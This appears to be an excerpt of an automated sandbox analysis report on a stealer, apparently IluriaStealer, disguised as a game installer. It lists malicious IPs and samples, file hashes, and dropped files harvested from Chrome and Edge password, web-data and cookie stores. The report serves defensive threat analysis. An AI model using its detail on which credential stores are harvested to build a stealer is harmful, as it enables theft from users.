                                                                                          OVHFRhttps://invisiblepeople.tv/stories-from-homeless-people/Get hashmaliciousUnknownBrowse
                                                                                          • 51.222.241.100
                                                                                          https://euet-ss.xyz/Login/register/Lang/en-usGet hashmaliciousUnknownBrowse
                                                                                          • 51.222.244.150
                                                                                          p2GrGlDHjw.elfGet hashmaliciousKaijiBrowse
                                                                                          • 51.81.138.208
                                                                                          mJWouOfZLy.elfGet hashmaliciousKaijiBrowse
                                                                                          • 51.81.138.208
                                                                                          OUcCqCsimA.elfGet hashmaliciousKaijiBrowse
                                                                                          • 51.81.138.208
                                                                                          https://www.vauban-recrutement.fr/blog/emplois/transaction-manager-h-f/Get hashmaliciousUnknownBrowse
                                                                                          • 51.210.38.0
                                                                                          ZcDEk7Z0aN.elfGet hashmaliciousKaijiBrowse
                                                                                          • 51.81.138.208
                                                                                          i4DmPX5XGz.elfGet hashmaliciousKaijiBrowse
                                                                                          • 51.81.138.208
                                                                                          na5Qc6FhRH.elfGet hashmaliciousKaijiBrowse
                                                                                          • 51.81.138.208
                                                                                          plugin.jsGet hashmaliciousClipboard Hijacker, QuasarBrowse
                                                                                          • 54.39.233.85
                                                                                          CLOUDFLARENETUSPayment_Advice.exeGet hashmaliciousAgentTeslaBrowse
                                                                                          • 172.67.74.152
                                                                                          Quotation[MPI-240401.exeGet hashmaliciousAgentTeslaBrowse
                                                                                          • 104.26.13.205
                                                                                          vGDqFBB1Jz.exeGet hashmaliciousRisePro StealerBrowse
                                                                                          • 172.67.75.166
                                                                                          http://t.cm.morganstanley.com/r/?id=h1b92d14,134cc33c,1356be32&p1=clickme.thryv.com/ls/click?upn=u001.zNsZ6DgZGUlz4SyL2q0KgfvLUZd1vxrIdCMo5dY5qCEyeaGmNINChKOlELp3fRT1rsLBxEJdRXYvy6S-2BGEY7uicd3tbSMV5oJVhczVlIJxNtA-2BurH4j6WXNUMDWH8Xtyor4mjkn1VIVtPJTCW3IlMRG3a4MIeGKbPJD2WFpltpzviF50nMF1DDbgC9X6S9w9Hlc1oLQOQrL-2F5NOag02nHzFb0iLScFwtYhl7ivMYLz0-3DlYp0_JVAtn8RK-2FYGAFwojudbatEe6kKijRrOmSDoK71rQZxdvCfQSeCo-2BRBdkQ5VWb782IaijolxlNh8UaJUpVC3oTrBWLQ0nDIwqRnMGXEH-2FVvabEpl0ypWmwFSXmHQXgR2OtjYxsjQq8JqnCS0xJ6x5Hw2KTEpFQlfF7UILlGxlM8XnIewK-2FaJufFXkpj77DIQAUJIbbgxdsd6A82g6UCqhJrLxeAFCIG7p5DQ3gDp3jrTu2g01Y1dJ78akz0sR2ouRL8yC2fH0p3U5mmt7xctz27iCjzyIwMztlvkJaOc0tsUXBISBrbO3CkhbRwyYHpkDtiv91MtbaUTYJ4SSBMc4tw4DQdyflUkkcsGLNoBKOnZYoBecXCGDUCOXb8bLi9mYrh-2F2YZwAXwNbq-2BqqypetrxX-2BFRmar-2F5nHTrF20p1pew-3D#a3Jvc3NAbW9udGFnZWdvbGRjb3JwLmNvbQ==Get hashmaliciousUnknownBrowse
                                                                                          • 104.17.2.184
                                                                                          SecuriteInfo.com.Win32.PWSX-gen.8396.18973.exeGet hashmaliciousAgentTeslaBrowse
                                                                                          • 172.67.74.152
                                                                                          iKV7MCWDJF.exeGet hashmaliciousRisePro StealerBrowse
                                                                                          • 104.26.4.15
                                                                                          https://turtledownunder.com.au/Get hashmaliciousUnknownBrowse
                                                                                          • 104.21.47.239
                                                                                          8TFD6H44Pz.exeGet hashmaliciousRisePro StealerBrowse
                                                                                          • 172.67.75.166
                                                                                          uRLTbkeYF7.exeGet hashmaliciousRisePro StealerBrowse
                                                                                          • 172.67.75.166
                                                                                          https://checking-browser.com/Get hashmaliciousUnknownBrowse
                                                                                          • 172.67.154.206

                                                                                          JA3 Fingerprints

                                                                                          ⊘No context

                                                                                          Dropped Files

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          C:\Users\user\AppData\Local\Temp\0fddd3c7-f5ed-405a-a51a-7dec4b6a2baf.tmp.nodeGauntletVPN1.4.0.exeGet hashmaliciousUnknownBrowse
                                                                                            GauntletVPN1.4.0.exeGet hashmaliciousUnknownBrowse
                                                                                              SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exeGet hashmaliciousUnknownBrowse
                                                                                                SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exeGet hashmaliciousUnknownBrowse
                                                                                                  Google Digital Marketing .xlsx.exeGet hashmaliciousUnknownBrowse
                                                                                                    Google Digital Marketing .xlsx.exeGet hashmaliciousUnknownBrowse
                                                                                                      ForestOfDream.exeGet hashmaliciousUnknownBrowse
                                                                                                        ForestOfDream.exeGet hashmaliciousUnknownBrowse
                                                                                                          teai_demo.exeGet hashmaliciousUnknownBrowse
                                                                                                            RemasterSouls Setup.exeGet hashmaliciousUnknownBrowse
                                                                                                              C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\d3dcompiler_47.dllSetup (1).exeGet hashmaliciousUnknownBrowse
                                                                                                                Default Game.exeGet hashmaliciousUnknownBrowse
                                                                                                                  GauntletVPN1.4.0.exeGet hashmaliciousUnknownBrowse
                                                                                                                    GauntletVPN1.4.0.exeGet hashmaliciousUnknownBrowse
                                                                                                                      Mauqes.exeGet hashmaliciousUnknownBrowse
                                                                                                                        SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exeGet hashmaliciousUnknownBrowse
                                                                                                                          SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exeGet hashmaliciousUnknownBrowse
                                                                                                                            Sldl84wxy8.exeGet hashmaliciousAsyncRAT, VenomRATBrowse
                                                                                                                              rU6YAgkoAw.exeGet hashmaliciousAsyncRATBrowse
                                                                                                                                Mauqes.exeGet hashmaliciousUnknownBrowse

                                                                                                                                  Created / dropped Files

                                                                                                                                  C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\ILURIACookies

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):28672
                                                                                                                                  Entropy (8bit):2.5793180405395284
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                  MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                  SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                  SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                  SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                  Malicious:true
                                                                                                                                  Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\passwords.db

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):40960
                                                                                                                                  Entropy (8bit):0.8553638852307782
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                  MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                  SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                  SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                  SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                  Malicious:true
                                                                                                                                  Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.db

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):106496
                                                                                                                                  Entropy (8bit):1.1358696453229276
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                  MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                  SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                  SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                  SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                  Malicious:true
                                                                                                                                  Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\passwords.db

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):49152
                                                                                                                                  Entropy (8bit):0.8180424350137764
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                  MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                  SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                  SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                  SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\webdata.db

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):114688
                                                                                                                                  Entropy (8bit):0.9746603542602881
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                  MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                  SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                  SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                  SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):1148
                                                                                                                                  Entropy (8bit):5.325332493885117
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:24:3Z2l1SKco4KmBs4RPT6BmFoUe7u1omjKcm9qr9t7J0gt/NKIl9r8Hq:4l1SU4y4RQmFoUeCamfm9qr9tK8NDd
                                                                                                                                  MD5:E10B24FFA3E6B4CBE57BAC0683DF04B8
                                                                                                                                  SHA1:C43024E7BBF65B0E1F186B8334801853C9856706
                                                                                                                                  SHA-256:15A6C80929B131E77950A808A8D58AF8AF78EDB882B71621B3C81EF3596EC32A
                                                                                                                                  SHA-512:2D0847F4F9B685B226C338DC881E09268FFFC8B301C2461D9E99DFA38C14AEE39334B393B6DFEE35CFB7FB05AE6CFD8B194A7EB82E1BC96B2164EA3B5C021CDE
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:@...e.................................t..............@..........8...................=.@G..?...o.........System.Security.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D.......

                                                                                                                                  C:\Users\user\AppData\Local\Temp\0fddd3c7-f5ed-405a-a51a-7dec4b6a2baf.tmp.node

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):1851904
                                                                                                                                  Entropy (8bit):6.5568028509093335
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:49152:B+m+ocH2xfpTOi8stmFlZwwpx8AzdWgl+06OHULH5dsGfl:ihCTOi8sQrZwwpxTbG9
                                                                                                                                  MD5:3072B68E3C226AFF39E6782D025F25A8
                                                                                                                                  SHA1:CF559196D74FA490AC8CE192DB222C9F5C5A006A
                                                                                                                                  SHA-256:7FB52B781709B065C240B6B81394BE6E72E53FE11D7C8E0F7B49DD417EB78A01
                                                                                                                                  SHA-512:61EBC72C20195E99244D95AF1AB44FA06201A1AEE2B5DA04490FDC4312E8324A40B0E15A7B42FAB5179753D767C1D08AE1A7A56AC71A6E100E63F83DB849EE61
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Joe Sandbox View:
                                                                                                                                  • Filename: GauntletVPN1.4.0.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: GauntletVPN1.4.0.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: Google Digital Marketing .xlsx.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: Google Digital Marketing .xlsx.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: ForestOfDream.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: ForestOfDream.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: teai_demo.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: RemasterSouls Setup.exe, Detection: malicious, Browse
                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........bN... ... ... .Bs#... .Bs%.5. .Bs$... ...$... ...#... ...%... .Bs!... ...!.p. .`.)... .`.... .`."... .Rich.. .........................PE..d...tn.d.........." ...".@...........}....................................................`.................................................P...(............p..|....................~..p............................$..@............P..........@....................text...@>.......@.................. ..`.rdata......P.......D..............@..@.data....c.......N..................@....pdata..|....p.......4..............@..@_RDATA..\....p.......(..............@..@.rsrc................*..............@..@.reloc...............,..............@..B................................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Autofills.txt

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:ASCII text
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):64
                                                                                                                                  Entropy (8bit):4.241479102437745
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3:yRLIiAEly+EKcJW5KeBF3R3AV:ytIiHDEKcY5JFh3AV
                                                                                                                                  MD5:7AEB90B22A1FF69A056EB674A6D3C5A1
                                                                                                                                  SHA1:98F4FB956237543A244231002CF409DB7A4E9BBD
                                                                                                                                  SHA-256:858E6BEBC85CE477A557C781D066F584950EADAB817F6A4ADF28A7C2CB6CCEE4
                                                                                                                                  SHA-512:98AC6D2E6FA531D5767F2E89C6971F42034AA4F3AB4A8C5A7462EDB31F65519607DB9C12AE5CF36751F9B117270AEDE0D8C25799C9FC6FB7715E9ED6413253C3
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:<= t.me/iluriastealer =>..No autofills found for Google Default.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Cards.txt

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:ASCII text
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):48
                                                                                                                                  Entropy (8bit):4.256328385912462
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3:yRLIiAElScWWSKXB5LQ:ytIiHBSKXvLQ
                                                                                                                                  MD5:3B04E9AD44FAF51C9957A7D14E5DA3F3
                                                                                                                                  SHA1:BCD66B8946121C8D30274D2BB69716E26D3627EE
                                                                                                                                  SHA-256:C7D3D04D8BBE3DFF3A81E27A712D900902088BEB696675170F700F14FED352F1
                                                                                                                                  SHA-512:B48FBCD280F9B41EC886AAB96684434BCA61AAAE1680936F2EA3B1CD084309FB6EE648790823BD5D93B4C9819CEC4260ADCEF8C647ABBA1A6CB8EC34F311CC77
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:<= t.me/iluriastealer =>..no password found for

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ILURIASTEALER\cookies.zip

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):1686
                                                                                                                                  Entropy (8bit):7.817662671796396
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:48:94plnZ55iu0Wavaj2S/ZBCJEEiGoCJS70Gv:yLnZ55Ivaj2S/ZBCJK1170Gv
                                                                                                                                  MD5:DD6A05B9B859D1D20780E69ADBA1B7A2
                                                                                                                                  SHA1:0034A844CA3CBE25A52B3CC481C91ADED78FB7D5
                                                                                                                                  SHA-256:F42F5FFB97902A5AD3AB97B9C8ED13925FCBC76387D9F2C6F7FF6483BF20D551
                                                                                                                                  SHA-512:E9BBB3D3A1019B7523FD3FE5CD8FF0F9AFD6D0345F2367026207F21845AE10F2534C7C77CCA98B21D87E61885AF94B74A273FC995E7483563A24C1E68E9C7D1D
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:PK.........C.X...$....=.......Google_Default.txt...J......r..L;...g.6....!..Gl@....=W}.W...."..B.Ff....~n.s...Z..NY|,T....y.r...b...HQ.9._..~.cK..G...D.....+..._.1.....G....D@.../I.bn..N........a.*...A=....'.6;.(p.$\C...0..M.o..K..k.......8:.pn.....u.]|.gjS...m......t......n.(5=~.....)Kp...+..Z..e8fM.^%ng.oF..'n.H.....9...^4.pdV.t....q...ZO...q<.o.:~..k.../....p6.y.5....Q..w..E....zQ../{).Vt7..e.N-.e.L.,.[.R..U..^..]i.7...`..4G.4.*.k^V.(.K.kq..0.]..../..ukN.b...Ms.....[....5..v.]"}&u..&.8...l:..y?u.,..W4.u..^jp.....5...L'..r2..BU{...[.;R{..0H.....u..Y.....~..a..b@.....B......c..1.B....KgJ.B...'.x.1K2|...#>...$c.......+.[...a.?i.f(.....0v....bh..)..=r..&...B.. .8...S0IX..C...%I....mkz.-..n.._Q5..@.")P.......9D.....XJ....~?....+7.5.R......W..e.3g=eL....r....lQ....|.....G..>0q$....y....zZ..<_sx..|...z.i..h...t.....I.WF?.Y.<.u._2....r.tH'Y.ST..r\.9O..d.O].x.K.|0...7..mqb..H..\...cY.....p.|.2......I....k...;(.3..........}oN;:..

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\LICENSE.electron.txt

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:ASCII text
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):1096
                                                                                                                                  Entropy (8bit):5.13006727705212
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
                                                                                                                                  MD5:4D42118D35941E0F664DDDBD83F633C5
                                                                                                                                  SHA1:2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
                                                                                                                                  SHA-256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
                                                                                                                                  SHA-512:3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\LICENSES.chromium.html

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:HTML document, ASCII text
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):6766160
                                                                                                                                  Entropy (8bit):4.735324161006094
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:24576:d7rs5kjWSnB3lWNeUmf0f6W6M6q6A6r/HXpErpem:rovj
                                                                                                                                  MD5:180F8ACC70405077BADC751453D13625
                                                                                                                                  SHA1:35DC54ACAD60A98AEEC47C7ADE3E6A8C81F06883
                                                                                                                                  SHA-256:0BFA9A636E722107B6192FF35C365D963A54E1DE8A09C8157680E8D0FBBFBA1C
                                                                                                                                  SHA-512:40D3358B35EB0445127C70DEB0CB87EC1313ECA285307CDA168605A4FD3D558B4BE9EB24A59568ECA9EE1F761E578C39B2DEF63AD48E40D31958DB82F128E0EC
                                                                                                                                  Malicious:false
                                                                                                                                  Preview: Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title" style="float:left;">Credits</span>.<a id="print-link" href="#" style="float:right;" hidden>Print</a>.<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<input type="checkbox" hidden id="0">.<label class="show" for="0" tabindex="0"></label>.<div class="licence">.<pre>Copyright(C) 1997,2001 Takuya OOURA (email: ooura@kurims.kyoto-u.ac.jp)..You may us

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Passwords.txt

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:ASCII text
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):48
                                                                                                                                  Entropy (8bit):4.256328385912462
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3:yRLIiAElScWWSKXB5LQ:ytIiHBSKXvLQ
                                                                                                                                  MD5:3B04E9AD44FAF51C9957A7D14E5DA3F3
                                                                                                                                  SHA1:BCD66B8946121C8D30274D2BB69716E26D3627EE
                                                                                                                                  SHA-256:C7D3D04D8BBE3DFF3A81E27A712D900902088BEB696675170F700F14FED352F1
                                                                                                                                  SHA-512:B48FBCD280F9B41EC886AAB96684434BCA61AAAE1680936F2EA3B1CD084309FB6EE648790823BD5D93B4C9819CEC4260ADCEF8C647ABBA1A6CB8EC34F311CC77
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:<= t.me/iluriastealer =>..no password found for

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\chrome_100_percent.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):129690
                                                                                                                                  Entropy (8bit):7.91868310789661
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:AEKzwqCT4weSxQCS/qGTL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:AEKzwt4hC4/rK18Gb0OV8ld0GecQ3f2
                                                                                                                                  MD5:8626E1D68E87F86C5B4DABDF66591913
                                                                                                                                  SHA1:4CD7B0AC0D3F72587708064A7B0A3BECA3F7B81C
                                                                                                                                  SHA-256:2CAA1DA9B6A6E87BDB673977FEE5DD771591A1B6ED5D3C5F14B024130A5D1A59
                                                                                                                                  SHA-512:03BCD8562482009060F249D6A0DD7382FC94D669A2094DEC08E8D119BE51BEF2C3B7B484BB5B7F805AE98E372DAB9383A2C11A63AB0F5644146556B1BB9A4C99
                                                                                                                                  Malicious:false
